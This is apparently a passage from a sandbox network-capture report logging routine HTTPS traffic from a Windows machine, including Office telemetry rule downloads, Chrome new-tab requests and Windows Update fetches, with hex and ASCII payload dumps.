20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120620" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.7	49729	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 10:05:12 UTC	192	OUT	GET /rules/rule120622v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 10:05:13 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 10:05:13 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8CEAC16" x-ms-request-id: e94c41b0-301e-0000-6d41-41eecc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T100513Z-174f7845968jrjrxhC1EWRmmrs0000000yeg00000000381w x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 10:05:13 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120622" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.7	49732	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 10:05:12 UTC	192	OUT	GET /rules/rule120624v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 10:05:13 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 10:05:13 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB7010D66" x-ms-request-id: 3fc8b732-401e-0083-1091-3f075c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T100513Z-174f7845968pf68xhC1EWRr4h80000000yhg000000003wet x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 10:05:13 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120624" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.7	49719	142.250.181.68	443	7584	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 10:05:12 UTC	353	OUT	GET /async/newtab_promos HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-28 10:05:14 UTC	933	IN	HTTP/1.1 200 OK Version: 700238841 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Thu, 28 Nov 2024 10:05:13 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-28 10:05:14 UTC	35	IN	Data Raw: 31 64 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 70 72 6f 6d 6f 73 22 3a 7b 7d 7d 7d 0d 0a Data Ascii: 1d)]}'{"update":{"promos":{}}}
2024-11-28 10:05:14 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.7	49731	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 10:05:12 UTC	192	OUT	GET /rules/rule120623v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 10:05:13 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 10:05:13 GMT Content-Type: text/xml Content-Length: 464 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97FB6C3C" x-ms-request-id: a99e6065-701e-006f-4d91-3fafc4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T100513Z-174f78459684bddphC1EWRbht40000000xx0000000009ykq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 10:05:13 UTC	464	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 49 69 5d 5b 47 67 5d 5b 41 61 5d 5b 42 62 5d 5b 59 79 5d 5b 54 74 5d 5b 45 65 5d 20 5b 54 74 5d 5b 45 65 5d 5b 43 63 5d 5b 48 68 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 47 67 5d 5b 59 79 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120623" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <SR T="2" R="([Gg][Ii][Gg][Aa][Bb][Yy][Tt][Ee] [Tt][Ee][Cc][Hh][Nn][Oo][Ll][Oo][Gg][Yy])"> <S T="1" F="1" M="Ignor

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.7	49728	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 10:05:14 UTC	192	OUT	GET /rules/rule120621v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 10:05:14 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 10:05:14 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA41997E3" x-ms-request-id: 4b7a7cb4-201e-000c-0405-4179c4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T100514Z-174f7845968j6t2phC1EWRcfe80000000yg0000000002a2p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 10:05:14 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 56 76 5d 5b 4d 6d 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120621" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <SR T="2" R="([Vv][Mm][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.7	49739	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 10:05:15 UTC	192	OUT	GET /rules/rule120625v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 10:05:15 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 10:05:15 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:42 GMT ETag: "0x8DC582B9748630E" x-ms-request-id: 02716611-001e-00ad-7089-3f554b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T100515Z-174f7845968j6t2phC1EWRcfe80000000yd00000000066gv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 10:05:15 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 46 66 5d 5b 55 75 5d 5b 4a 6a 5d 5b 49 69 5d 5b 54 74 5d 5b 53 73 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120625" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <SR T="2" R="([Ff][Uu][Jj][Ii][Tt][Ss][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.7	49740	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 10:05:15 UTC	192	OUT	GET /rules/rule120626v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 10:05:15 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 10:05:15 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DACDF62" x-ms-request-id: b18988de-c01e-0079-2891-3fe51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T100515Z-174f7845968cdxdrhC1EWRg0en0000000y5g000000007t7g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 10:05:15 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120626" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.7	49741	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 10:05:15 UTC	192	OUT	GET /rules/rule120627v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 10:05:15 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 10:05:15 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:54 GMT ETag: "0x8DC582B9E8EE0F3" x-ms-request-id: f5c4af5a-301e-005d-6385-3fe448000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T100515Z-174f7845968n2hr8hC1EWR9cag0000000xyg000000003fb0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 10:05:15 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4e 6e 5d 5b 45 65 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120627" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <SR T="2" R="^([Nn][Ee][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.7	49742	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 10:05:15 UTC	192	OUT	GET /rules/rule120628v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 10:05:15 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 10:05:15 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C8E04C8" x-ms-request-id: f5817373-b01e-003e-3591-3f8e41000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T100515Z-174f78459685726chC1EWRsnbg0000000y7g000000009a2z x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 10:05:15 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120628" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.7	49744	23.218.208.109	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 10:05:15 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-28 10:05:15 UTC	478	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Server: Kestrel ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-neu-z1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json X-OSID: 2 X-CID: 2 X-CCC: GB Cache-Control: public, max-age=58531 Date: Thu, 28 Nov 2024 10:05:15 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.7	49734	52.149.20.212	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 10:05:16 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=T4V3CttayKfXn5D&MD=7xfds2MS HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-11-28 10:05:17 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: 6bd4b9d9-6aaf-4673-8abf-a3068b37b6b3 MS-RequestId: 812b2889-7cee-464f-92a6-87e1908fd087 MS-CV: nabUjs3WVUOs98eI.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Thu, 28 Nov 2024 10:05:16 GMT Connection: close Content-Length: 24490
2024-11-28 10:05:17 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-11-28 10:05:17 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.7	49748	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 10:05:16 UTC	192	OUT	GET /rules/rule120629v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 10:05:17 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 10:05:16 GMT Content-Type: text/xml Content-Length: 428 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC4F34CA" x-ms-request-id: b254496e-901e-0016-2991-3fefe9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T100516Z-174f7845968xlwnmhC1EWR0sv80000000y60000000001r3e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 10:05:17 UTC	428	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 2d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120629" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <SR T="2" 